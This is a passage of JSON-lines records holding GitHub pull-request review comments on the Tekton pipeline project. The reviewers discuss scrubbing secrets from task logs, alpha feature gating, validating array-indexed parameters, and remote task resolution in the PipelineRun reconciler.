"pipeline"} +{"author": "lbernick", "body": "Could you please add a test for the logic added in this file?", "comment_id": 1019271889, "created_at": "2022-11-10T15:21:38Z", "line": 87, "path": "cmd/entrypoint/runner.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Could you also provide an example TaskRun with a secret mounted as a workspace that has the secret scrubbed?", "comment_id": 1019273309, "created_at": "2022-11-10T15:22:49Z", "line": 47, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "These docs include some implementation detail that I don't think is necessary for users to know about. Maybe these details would be better suited to our [developer docs](https://github.com/tektoncd/pipeline/tree/main/docs/developers)? The main detail that users would care about is that enabling this feature doesn't give the TaskRun pod access to all secrets, only the ones mounted to it.", "comment_id": 1019276271, "created_at": "2022-11-10T15:25:16Z", "line": null, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "this also seems better suited to developer docs than user docs.", "comment_id": 1019280275, "created_at": "2022-11-10T15:28:35Z", "line": null, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Could the entrypoint just check to see if the downward API file is present, and if so, assume that credentials filtering is enabled?", "comment_id": 1019281082, "created_at": "2022-11-10T15:29:13Z", "line": 116, "path": "pkg/apis/config/feature_flags.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "To check my understanding, the entrypoint is replacing the default stdout/stderr buffers with this new filtered credentials writer? would it be possible to just have the whole string in memory and check if it contains secret values before writing to stdout/stderr? obviously this holds a lot more data in memory.. I'm just trying to brainstorm a bit because I think adding a new buffer implementation adds quite a bit of complexity and we should do it only if it's really necessary.", "comment_id": 1019297197, "created_at": "2022-11-10T15:39:26Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Would it be possible to extract the test setup logic out of the test itself?", "comment_id": 1019298629, "created_at": "2022-11-10T15:40:17Z", "line": null, "path": "pkg/credentials/filter/secret_detection_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Having the whole string in memory would mean that your output is delayed until the run is finished, which is bad for long running jobs where you want the logs timely to get a status of the running job.\r\nThis implementation on the other hand will print out everything except the newest N bytes directly.", "comment_id": 1031365768, "created_at": "2022-11-24T10:47:37Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I still dont get why you do not want to test non public functions. Unit tests can also be written on non public functions right?", "comment_id": 1031367808, "created_at": "2022-11-24T10:49:44Z", "line": null, "path": "pkg/credentials/filter/credentials_filter_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I extracted the setup symlink logic into a separate function", "comment_id": 1031381669, "created_at": "2022-11-24T11:03:37Z", "line": null, "path": "pkg/credentials/filter/secret_detection_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Actually that would mean you have a dynamic feature flag which could influence predictability and stability. And the feature flag is meant to ensure stability by allowing to simply turn something off. I like my feature flags simple and predictable.", "comment_id": 1031385053, "created_at": "2022-11-24T11:07:18Z", "line": 116, "path": "pkg/apis/config/feature_flags.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "done", "comment_id": 1031407916, "created_at": "2022-11-24T11:33:09Z", "line": 87, "path": "cmd/entrypoint/runner.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I removed some details but left the information for usage in place. I put the whole article in the developer docs", "comment_id": 1031456152, "created_at": "2022-11-24T12:27:58Z", "line": null, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "@lbernick: What exactly do you mean with \"secret mounted as a workspace\"?", "comment_id": 1031458035, "created_at": "2022-11-24T12:30:10Z", "line": 47, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "https://tekton.dev/docs/pipelines/workspaces/#secret", "comment_id": 1034852439, "created_at": "2022-11-29T14:47:15Z", "line": 47, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "ah I was a bit confused-- didn't realize this just passes the value of the feature flag down to the entrypoint binary via an env var. I agree the feature flag is more predictable than what I suggested. I think it would be a bit better to pass this as an argument to the binary than an env var, because then you wouldn't have to worry about what happens if the env var's value somehow does not match the feature flag's, but I think this approach is OK.", "comment_id": 1034858589, "created_at": "2022-11-29T14:51:50Z", "line": 116, "path": "pkg/apis/config/feature_flags.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Just to clarify, this comment isn't blocking.\r\nThis is in our code standards: https://github.com/tektoncd/community/blob/main/standards.md#code:\r\n\"If you find yourself wanting to test an unexported function, consider whether it would make sense to move the test into another package and export it.\" I'm realizing we don't provide a rationale, which we should. The reason is that we aim to to treat exported functions like APIs, and want to encourage testing them via the functions that consumers of the package have available. Testing unexported functions can be a sign that the package API is difficult to use and could be refactored. Obviously that's not the case here, as this tests only exported functions, but changing the package name is still preferred.", "comment_id": 1034867383, "created_at": "2022-11-29T14:58:27Z", "line": null, "path": "pkg/credentials/filter/credentials_filter_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "Great point. Would the Reader and Writer from bufio work? there's a Peek function (https://pkg.go.dev/bufio#Reader.Peek) that could be used to check if the next n bytes contain a secret", "comment_id": 1034901825, "created_at": "2022-11-29T15:24:58Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Well, I did not know that feature. \r\nI will have a look into it and extend the implementation.", "comment_id": 1036733329, "created_at": "2022-12-01T06:28:53Z", "line": 47, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "Change this and used a filter_test package in all test files of this package", "comment_id": 1036802480, "created_at": "2022-12-01T08:09:51Z", "line": null, "path": "pkg/credentials/filter/credentials_filter_test.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I extended the code to also test the integration with workspaces. In the end its the same working code as before I only added some more test cases.\r\n\r\nI also discovered that I did not yet cover projected volumes with secrets and added that to the logic too.", "comment_id": 1036804082, "created_at": "2022-12-01T08:11:43Z", "line": 47, "path": "docs/logs.md", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "The bufio package just implements buffered readers and writers on top of other readers and writers. That itself is not a ringbuffer implementation. A ringbuffer ist just an array that you treat as a circular buffer by jumping from end to start regularly. Its super efficient because you do not need to allocate new arrays when your buffer runs full. I doubt that a general buffered reader implementation does that. \r\n\r\nAs I said I do not know any implementation in the standard lib. There are some OS packages like the following:\r\nhttps://github.com/sahmad98/go-ringbuffer\r\nhttps://github.com/smallnest/ringbuffer\r\n\r\nBut the first is too simplistic and the second even uses mutexes which we do not need here I think. Also you would make the whole implementation more \"dependent\" on a very small package which is perhaps not even cared for anymore which is kind of bad for these few lines of code.", "comment_id": 1036814564, "created_at": "2022-12-01T08:23:45Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "I agree that we don't want to add a new dependency like the one you listed, but this still adds complexity to an already large PR. Would it be possible to either use a plain slice of bytes as a buffer, or move the ring buffer implementation into its own PR?", "comment_id": 1061638307, "created_at": "2023-01-04T16:01:04Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "why not filter the bytes remaining in the buffer? Couldn't the buffer still contain a secret that is shorter than the longest one?", "comment_id": 1061639533, "created_at": "2023-01-04T16:02:14Z", "line": null, "path": "pkg/credentials/filter/credentials_filter.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "lbernick", "body": "This function docstring needs some updates; some of the commentary now belongs on `getFileWriter`.", "comment_id": 1061641454, "created_at": "2023-01-04T16:04:09Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I have splitted out the ring buffer into a separate pull request with more tests to cover it.\r\n\r\nhttps://github.com/tektoncd/pipeline/pull/5990", "comment_id": 1069253482, "created_at": "2023-01-13T11:01:49Z", "line": 16, "path": "pkg/credentials/filter/ring_buffer.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "I had the misconception that there could be no secrets anymore in the remaining bytes. But that is wrong. I implemented a test that proved exactly that and added some filtering to the close method.", "comment_id": 1069294836, "created_at": "2023-01-13T11:34:01Z", "line": null, "path": "pkg/credentials/filter/credentials_filter.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "Useurmind", "body": "updated the doc strings", "comment_id": 1069305712, "created_at": "2023-01-13T11:41:07Z", "line": null, "path": "cmd/entrypoint/runner.go", "pr_number": 4837, "repo": "pipeline"} +{"author": "jerop", "body": "could you please move this to its own function that you can call here?", "comment_id": 869395481, "created_at": "2022-05-10T15:36:21Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Done!", "comment_id": 869573116, "created_at": "2022-05-10T18:42:02Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Wrapping this inside the if condition makes the test below fail. This was however required since parameters can be passed down implicitly.", "comment_id": 876231454, "created_at": "2022-05-18T18:42:50Z", "line": 486, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "This returns nil even though params is not defined in the task spec since it could be passed down from pipeline params via implicit parameter propagation.", "comment_id": 877060113, "created_at": "2022-05-19T13:31:40Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation_test.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "this feature should remain in alpha (gated behind the alpha feature flag) until we gather user feedback and promote it to beta", "comment_id": 880652947, "created_at": "2022-05-24T15:21:09Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "we can simplify this to only contain the user-facing behavior - the additional context was useful in the TEP, but we can use the last sentence only for the docs", "comment_id": 880656718, "created_at": "2022-05-24T15:24:31Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "the propagated parameters feature should still an alpha feature", "comment_id": 880657735, "created_at": "2022-05-24T15:25:32Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "please gate this propagation behind the alpha feature flag ", "comment_id": 880662808, "created_at": "2022-05-24T15:29:36Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "done", "comment_id": 880910933, "created_at": "2022-05-24T20:12:20Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "done", "comment_id": 880911021, "created_at": "2022-05-24T20:12:27Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Sounds good. I reduced the text.", "comment_id": 880911164, "created_at": "2022-05-24T20:12:39Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I undid this change. Its now behind the `alpha` feature gate.", "comment_id": 880911436, "created_at": "2022-05-24T20:13:01Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "no need to mention the behavior of the previous feature, could only cause more confusion, we can remove this", "comment_id": 881820159, "created_at": "2022-05-25T15:48:47Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "same as above - no need to mention the behavior of the previous feature, could only cause more confusion, we can remove this", "comment_id": 881821939, "created_at": "2022-05-25T15:50:33Z", "line": null, "path": "docs/taskruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "is this logic the same? if so, it seems simpler \ud83e\udd14 \r\n```suggestion\r\n\tif !(config.FromContextOrDefaults(ctx).FeatureFlags.EnableAPIFields \r\n\t== \"alpha\" && prefix == \"params\") {\r\n\t\terrs = errs.Also(validateTaskVariable(step.Script, prefix, vars).ViaField(\"script\"))\r\n\t}\r\n```", "comment_id": 881830783, "created_at": "2022-05-25T15:59:15Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "didn't expect changes to v1alpha1, it should be read only", "comment_id": 881832761, "created_at": "2022-05-25T16:01:15Z", "line": 141, "path": "pkg/apis/pipeline/v1alpha1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "The unit tests were failing because they were calling the same function in `v1beta1` that requires `ctx`.", "comment_id": 881905978, "created_at": "2022-05-25T17:01:26Z", "line": 141, "path": "pkg/apis/pipeline/v1alpha1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Sounds good!", "comment_id": 881906765, "created_at": "2022-05-25T17:02:22Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "done", "comment_id": 881907705, "created_at": "2022-05-25T17:03:31Z", "line": null, "path": "docs/pipelineruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "done", "comment_id": 881907755, "created_at": "2022-05-25T17:03:34Z", "line": null, "path": "docs/taskruns.md", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Yes, I think its the same logic. Thanks!!", "comment_id": 881908613, "created_at": "2022-05-25T17:04:35Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Done.\r\n", "comment_id": 881911263, "created_at": "2022-05-25T17:08:02Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "jerop", "body": "aah I see", "comment_id": 882123029, "created_at": "2022-05-25T21:17:37Z", "line": 141, "path": "pkg/apis/pipeline/v1alpha1/task_validation.go", "pr_number": 4845, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think other rows are in separate rows.", "comment_id": 873771138, "created_at": "2022-05-16T14:06:34Z", "line": null, "path": "docs/variables.md", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "nit: pattern + \"[%d]\"", "comment_id": 873775843, "created_at": "2022-05-16T14:10:26Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "Are you planning to add those invalid indexing cases in this PR? Something like `$(params['FOO'][2])` ``$(params['FOO'][-1])``", "comment_id": 873792096, "created_at": "2022-05-16T14:24:24Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I was hesitant to add the validation because I thought it is tricky. \r\nRight now for these out of bound cases there will be no errors, and they will be treated like string.\r\nI will think about how to add them in this PR.", "comment_id": 873809033, "created_at": "2022-05-16T14:38:49Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes they should be in separate rows, did I miss anything here? From local ide preview they are in different rows but in github preview they are not.\r\n", "comment_id": 873813306, "created_at": "2022-05-16T14:42:14Z", "line": null, "path": "docs/variables.md", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! This is something I'm not aware of before", "comment_id": 873817033, "created_at": "2022-05-16T14:44:58Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh just realize that `pattern + \"[%d]\"` won't pass the build test", "comment_id": 873883464, "created_at": "2022-05-16T15:43:54Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "SG! If you don't plan to add it in this PR, you can add a TODO and do it later, but we definitely need those tests for coverage and guards.", "comment_id": 873889796, "created_at": "2022-05-16T15:50:02Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "Oh! Glad that you verified it. I was seeing on Github preview. You can close this thread", "comment_id": 873899834, "created_at": "2022-05-16T15:59:51Z", "line": null, "path": "docs/variables.md", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "That's weird - can you show me the errors?", "comment_id": 874064708, "created_at": "2022-05-16T19:03:19Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "Can you add another step in this to test `args: [\"echo $(params.array-to-echo[0])\"]`? or `args: [\"echo $(params.array-to-echo[0])\"] > $(workspaces.testworkspace.path)/testfile.txt` something like that? ", "comment_id": 874068306, "created_at": "2022-05-16T19:08:27Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/param_array_indexing.yaml", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "gofmt will remove these spaces. So if I add these it will fail the lint check\r\nI think it is in this log.\r\nhttps://storage.googleapis.com/tekton-prow/pr-logs/pull/tektoncd_pipeline/4855/pull-tekton-pipeline-build-tests/1524386665529872384/build-log.txt", "comment_id": 874086203, "created_at": "2022-05-16T19:31:48Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "Oh! I guess that's the new formatting then. You can close this thread now", "comment_id": 874090170, "created_at": "2022-05-16T19:37:01Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Got it, thanks!", "comment_id": 874100507, "created_at": "2022-05-16T19:50:25Z", "line": 62, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this seems not the correct syntax, did you mean\r\n`script: \"echo $(params.array-to-echo[0])\"`?", "comment_id": 875064078, "created_at": "2022-05-17T17:05:16Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/param_array_indexing.yaml", "pr_number": 4855, "repo": "pipeline"} +{"author": "ywluogg", "body": "Ah yes. I saw you added that. You can close this thread now", "comment_id": 875195942, "created_at": "2022-05-17T19:37:42Z", "line": null, "path": "examples/v1beta1/taskruns/alpha/param_array_indexing.yaml", "pr_number": 4855, "repo": "pipeline"} +{"author": "dibyom", "body": "```suggestion\r\n\t\t\t\t\t// TODO(#4723): Validate the array reference is not out of bound\r\n```", "comment_id": 916012489, "created_at": "2022-07-07T15:31:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "dibyom", "body": "What happens today if the array is out of bound?", "comment_id": 916012877, "created_at": "2022-07-07T15:31:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "dibyom", "body": "```suggestion\r\n\t\t\t\t\t// TODO(#4723): Validate the array reference is not out of bound\r\n```", "comment_id": 916013463, "created_at": "2022-07-07T15:32:21Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "dibyom", "body": "how hard would it be to add this validation? I think silently failing without errors can be confusing for users", "comment_id": 916015182, "created_at": "2022-07-07T15:33:59Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "dibyom", "body": "Do we really need all of these mutations to test indexing?", "comment_id": 916017061, "created_at": "2022-07-07T15:35:54Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "These are used to create the `want` TaskSpec, we need to make sure the param indexing can be used in all of these places", "comment_id": 916120165, "created_at": "2022-07-07T17:29:57Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It's bit complicated, let me see if there's an easy solution", "comment_id": 916179950, "created_at": "2022-07-07T18:41:36Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "just checked, no errors and still keep the ref string as value", "comment_id": 916186765, "created_at": "2022-07-07T18:50:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Can we keep the validation in another PR? The release deadline is close", "comment_id": 916199675, "created_at": "2022-07-07T19:08:07Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "dibyom", "body": "ah interesting. thanks", "comment_id": 916875820, "created_at": "2022-07-08T14:31:16Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: I'd use `i-th element` here", "comment_id": 917030567, "created_at": "2022-07-08T17:54:13Z", "line": null, "path": "docs/variables.md", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "these comments don't appear to apply to the example. I'm also wondering if you could also use the first step to verify the desired output? ", "comment_id": 917032041, "created_at": "2022-07-08T17:56:26Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipelinerun-param-array-indexing.yaml", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "I agree with Dibyo, I wouldn't want to hold off on adding validation just to get the feature out the door. Can you explain more about what the challenge is here?", "comment_id": 917036491, "created_at": "2022-07-08T18:02:50Z", "line": null, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please use a helper function rather than exporting this?", "comment_id": 918281827, "created_at": "2022-07-11T19:31:34Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "is there any way to move this into the `substitution` or `v1beta1` packages that already handle param parsing?", "comment_id": 918282671, "created_at": "2022-07-11T19:32:48Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/validate_params.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "could this use a helper function that would also work for the TaskRun reconciler, to avoid implementing a very similar function there?", "comment_id": 918283577, "created_at": "2022-07-11T19:34:06Z", "line": 93, "path": "pkg/reconciler/pipelinerun/resources/validate_params.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "maybe document that this feature is still undergoing implementation? or we can just remove this until implementation is complete", "comment_id": 918284105, "created_at": "2022-07-11T19:34:47Z", "line": null, "path": "docs/variables.md", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's weird, I remember I removed this", "comment_id": 918286960, "created_at": "2022-07-11T19:39:03Z", "line": null, "path": "docs/variables.md", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yeah ok, I will try to extract a func from this", "comment_id": 918288079, "created_at": "2022-07-11T19:40:33Z", "line": 93, "path": "pkg/reconciler/pipelinerun/resources/validate_params.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, I moved them to substitution and warp with funcs", "comment_id": 918311707, "created_at": "2022-07-11T20:13:56Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/validate_params.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "it would be really helpful if the names of the test cases described what is invalid about them. It would also be useful if the test cases tested what error was expected to happen", "comment_id": 918325106, "created_at": "2022-07-11T20:31:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/validate_params_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "can this string parsing be moved into the substitution package or elsewhere?", "comment_id": 918327000, "created_at": "2022-07-11T20:34:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/validate_params.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "@lbernick is this the test case?", "comment_id": 918327395, "created_at": "2022-07-11T20:34:50Z", "line": 487, "path": "pkg/reconciler/pipelinerun/resources/validate_params_test.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "typo: leftmost", "comment_id": 918327942, "created_at": "2022-07-11T20:35:33Z", "line": null, "path": "pkg/substitution/substitution.go", "pr_number": 4855, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you please add some test cases for use of resolver and resource with the alpha feature flag set?", "comment_id": 871402779, "created_at": "2022-05-12T13:46:35Z", "line": 345, "path": "pkg/apis/pipeline/v1beta1/pipeline_types_test.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "lbernick", "body": "Can you help me understand what's going on here? the way I would anticipate this working is that we'd create a TaskRun as normal, but pass the resolver info along to the TaskRun, and have the TaskRun reconciler validate the resolver and resolve the task.", "comment_id": 871406811, "created_at": "2022-05-12T13:50:09Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "abayer", "body": "So this is what I'm most unsure about - we resolve the `Task` whether or not there's a `TaskRun` or even if we're creating a `TaskRun`, I believe for situations like when expressions and conditions. But the code in `pkg/remote` requires a `kmeta.OwnerRefable`. It only ever uses that `kmeta.OwnerRefable` to get its `Name` and `Namespace`, but nonetheless. Since we need to pass that `kmeta.OwnerRefable` in to `GetTaskFunc`, we don't have the `TaskRun`, if it exists, at the time we call `GetTaskFunc`.\r\n\r\nSo there's two aspects here - first, there's the `kmeta.OwnerRefable` stuff - that could be refactored to have the resolver code take name and namespace instead, and second, even if we did do that refactor, we'd still need to have the `TaskRun` name when calling `GetTaskFunc`, because https://github.com/tektoncd/pipeline/blob/adc127a5f1215019863768d58ad88bdf1a44fb5f/pkg/remote/resolution/resolver.go#L86 definitely wants the `TaskRun` name before resolving.\r\n\r\nThe options I see are the dummy `TaskRun` approach here, refactoring to take name and namespace instead, which still requires generating the `TaskRun` name at this location, or reworking the `PipelineRun` reconciler to _not_ resolve the `Task` until there's already a created `TaskRun`, deferring all the remote resolution logic to the `TaskRun` reconciler. The last option definitely feels like the ideal one for this particular change, but I'm not sure what the implications would be if we don't resolve the `Task` until we have a `TaskRun`. ", "comment_id": 871450069, "created_at": "2022-05-12T14:26:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "lbernick", "body": "Thanks for the explanation!\r\n\r\nI think the middle option (refactoring to take name and namespace instead) is the way to go. I find the dummy TaskRun approach to be confusing, and the last approach sounds like a large refactor that may not be necessary. If you look into `buildRequest`, it looks like the reason a name is needed is to make sure there are not multiple requests for the same pipeline's pipelineRef, the same task's taskRef, or the same pipeline task's taskRef. Therefore, what's needed here is not actually the name that will be used but some sort of unique identifier. I think a combo of pipelinerun name + pipeline task name should work.", "comment_id": 871469070, "created_at": "2022-05-12T14:42:28Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "abayer", "body": "Ok, I'll poke around briefly to try to better understand (for my own edification, if nothing else!) when exactly we end up with a resolved `Task` but no `TaskRun` and what would be impacted by not resolving the `Task` unless/until we resolve the `TaskRun`, but so far, it does look like a lot of behavior, particularly around resolving task resources, would barf in that case. Still good to know better. =)\r\n\r\nAaaaah, yeah, you're right re the name. That said, `GetTaskRunName` is just checking to see if there already is a name defined in `pr.Status.ChildReferences` or `pr.Status.TaskRuns` for the pipeline task name, and if not, it returns `kmeta.ChildName(prName, fmt.Sprintf(\"-%s\", ptName))`...which is just `prName-ptName` unless that would be longer than 63 characters (in which case it trims down `prName` and/or `ptName` and adds an md5 hash of the \"full\" string to guarantee uniqueness) anyway. So might as well just use `GetTaskRunName`.", "comment_id": 871491717, "created_at": "2022-05-12T15:00:38Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "abayer", "body": "Aaah - I just checked deeper, and it turns out the `kmeta.OwnerRefable` ends up being used to add an owner reference to the generated `ResolutionRequest`:\r\nhttps://github.com/tektoncd/resolution/blob/52bc1f17d4b6d8477e73a059de4b5808012a0386/pkg/resource/crd_resource.go#L104\r\n\r\nSo I think things need to be tweaked a bit more so that the `ResolutionRequest` has the `PipelineRun` as its owner reference. ", "comment_id": 871502639, "created_at": "2022-05-12T15:07:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4859, "repo": "pipeline"} +{"author": "abayer", "body": "And we should definitely use `GetTaskRunName` for the remote resource name in `buildRequest` so that we ensure the resolution request made by the `PipelineRun` reconciler has the same unique identifier as the one made by the `TaskRun` reconciler to avoid an unnecessary repeat resolution request being created...yeah, I'd really prefer if we didn't try to resolve the `Task` from the `PipelineRun` reconciler at all. Grr.", "comment_id": 871507180, "created_at": "2022-05-12T15:11:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 4859, "repo": 